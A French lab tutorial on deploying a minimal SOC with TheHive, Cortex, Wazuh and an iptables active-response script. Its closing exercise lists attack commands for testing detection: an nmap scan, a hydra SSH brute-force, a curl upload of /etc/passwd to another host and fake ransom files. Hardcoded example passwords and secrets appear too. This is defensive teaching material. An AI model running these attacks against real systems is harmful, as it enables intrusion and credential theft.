PCTAMALOU

🔬 Mission pratique – Laboratoire (2 heures)

Architecture du SOC Minimal

⚠️ Prérequis et Ressources

Étapes Détaillées de Déploiement

Étape 1 : Déploiement de TheHive avec Docker Compose

# Création du répertoire SOC
mkdir -p ~/mon_lab/soc_minimal && cd ~/mon_lab/soc_minimal

# Téléchargement docker-compose officiel
wget https://raw.githubusercontent.com/TheHive-Project/TheHive/master/docker-compose.yml

# Adaptation pour notre lab (réduction ressources)
cat > docker-compose.yml << 'EOF'
version: '3'
services:
  cassandra:
    image: cassandra:4
    volumes:
      - cassandra_data:/var/lib/cassandra
    environment:
      - CASSANDRA_CLUSTER_NAME=TheHive
    ports:
      - "9042:9042"

  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
    environment:
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - xpack.security.enabled=false
    volumes:
      - elasticsearch_data:/usr/share/elasticsearch/data
    ports:
      - "9200:9200"

  thehive:
    image: thehiveproject/thehive:5.2
    depends_on:
      - cassandra
      - elasticsearch
    environment:
      - CASSANDRA_HOST=cassandra
      - ELASTICSEARCH_HOST=elasticsearch
      - SECRET="pctamalou-soc-secret-key-2026"
    ports:
      - "9000:9000"
    volumes:
      - thehive_data:/etc/thehive

  cortex:
    image: thehiveproject/cortex:3.1.6
    depends_on:
      - elasticsearch
    environment:
      - ELASTICSEARCH_HOST=elasticsearch
      - SECRET="pctamalou-cortex-secret-2026"
    ports:
      - "9001:9001"
    volumes:
      - cortex_data:/etc/cortex

volumes:
  cassandra_data:
  elasticsearch_data:
  thehive_data:
  cortex_data:
EOFCopier

# Démarrage
sudo docker-compose up -d

# Vérification
sudo docker-compose ps

# Logs de démarrage
sudo docker-compose logs -f thehive

# Accès : http://VOTRE_IP:9000
# Identifiants par défaut : admin@thehive.local / secret

Étape 2 : Configuration de TheHive

# Création d'un administrateur personnalisé
curl -XPOST http://localhost:9000/api/v1/user \
  -H "Authorization: Bearer $(curl -XPOST http://localhost:9000/api/v1/login -d '{"user":"admin@thehive.local","password":"secret"}' | jq -r .token)" \
  -H "Content-Type: application/json" \
  -d '{
    "login": "gardien@pctamalou.local",
    "name": "Gardien PCTAMALOU",
    "password": "P@ssw0rd2026!",
    "roles": ["admin", "read", "write", "analyze"]
  }'Copier

Étape 3 : Intégration Wazuh → TheHive

# Configuration du webhook Wazuh
sudo nano /var/ossec/etc/ossec.conf

# Ajoutez dans la section  :

  thehive
  http://VOTRE_IP:9000/api/v1/integration/workflow
  10
  json
  syscheck,


# Redémarrage Wazuh
sudo systemctl restart wazuh-managerCopier

#!/usr/bin/env python3
# wazuh_to_thehive.py
import requests
import json
import sys

THEHIVE_URL = "http://localhost:9000/api/v1/alert"
API_KEY = "votre-api-key-thehive"

def create_alert(wazuh_alert):
    headers = {
        "Authorization": f"Bearer {API_KEY}",
        "Content-Type": "application/json"
    }
    
    alert_data = {
        "type": "external",
        "source": "wazuh",
        "sourceRef": wazuh_alert['id'],
        "title": wazuh_alert['rule']['description'],
        "description": f"Alert from Wazuh: {wazuh_alert['full_log']}",
        "severity": map_severity(wazuh_alert['rule']['level']),
        "date": wazuh_alert['timestamp'],
        "tags": ["wazuh", wazuh_alert['rule']['groups']],
        "observables": extract_observables(wazuh_alert)
    }
    
    response = requests.post(THEHIVE_URL, headers=headers, json=alert_data)
    return response.json()

def map_severity(level):
    if level >= 12: return 3  # High
    elif level >= 7: return 2  # Medium
    else: return 1  # Low

def extract_observables(alert):
    observables = []
    # Extraction IPs, domains, hashes du log
    # Implémentation spécifique à vos besoins
    return observables

if __name__ == "__main__":
    wazuh_alert = json.loads(sys.stdin.read())
    result = create_alert(wazuh_alert)
    print(json.dumps(result))

Étape 4 : Création d'un Playbook Ransomware

{
  "titleTemplate": "Ransomware Alert - {{alert.title}}",
  "description": "Automatic ransomware detection and response case",
  "tasks": [
    {"title": "Triage", "status": "Waiting", "order": 0},
    {"title": "Isolate Affected Machine", "status": "Waiting", "order": 1},
    {"title": "Collect Indicators", "status": "Waiting", "order": 2},
    {"title": "Analyze with Cortex", "status": "Waiting", "order": 3},
    {"title": "Block IOCs", "status": "Waiting", "order": 4},
    {"title": "Generate Report", "status": "Waiting", "order": 5}
  ],
  "customFields": [
    {"name": "affectedSystems", "type": "string", "value": ""},
    {"name": "containmentStatus", "type": "string", "value": "pending"},
    {"title": "ransomNoteFound", "type": "boolean", "value": false}
  ]
}

Étape 5 : Active Response Automatisée (Wazuh)

  
    block_ip
    block_ip.sh
    srcip
    yes
  
  
  
    no
    block_ip
    local
    10
    600
  
Copier

# /var/ossec/active-response/bin/block_ip.sh
#!/bin/bash
# Script de blocage IP via iptables
IP=$1
USER=$2

# Journalisation
echo "$(date) - Blocking IP $IP by $USER" >> /var/log/active-responses.log

# Blocage
iptables -I INPUT -s $IP -j DROP
iptables -I OUTPUT -d $IP -j DROP

# Notification
curl -XPOST http://localhost:9000/api/v1/alert \
  -H "Authorization: Bearer $THEHIVE_API_KEY" \
  -d "{\"type\":\"internal\",\"source\":\"wazuh-ar\",\"title\":\"IP Blocked: $IP\",\"severity\":2}"Copier

Étape 6 : Dashboard SOC Minimal (Kibana)

Exercice Avancé : Simulation d'Incident Complet

# 1. Scan initial (détection Wazuh)
nmap -sS -p 1-1000 192.168.56.0/24

# 2. Tentative brute-force SSH (détection règle)
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.101

# 3. Exfiltration simulée (détection SCA)
curl -XPOST http://192.168.56.102/upload.php -F "file=@/etc/passwd"

# 4. Ransomware signature (détection FIM)
echo "Your files have been encrypted!" > /tmp/README_RANSOM.txt
touch /tmp/{1..10}.encrypted

# Observez dans Kibana et TheHive
# 1. Alertes apparaissent dans Kibana
# 2. Cas créé automatiquement dans TheHive
# 3. Playbook déclenché
# 4. Active Response bloque l'IP
# 5. Rapport généré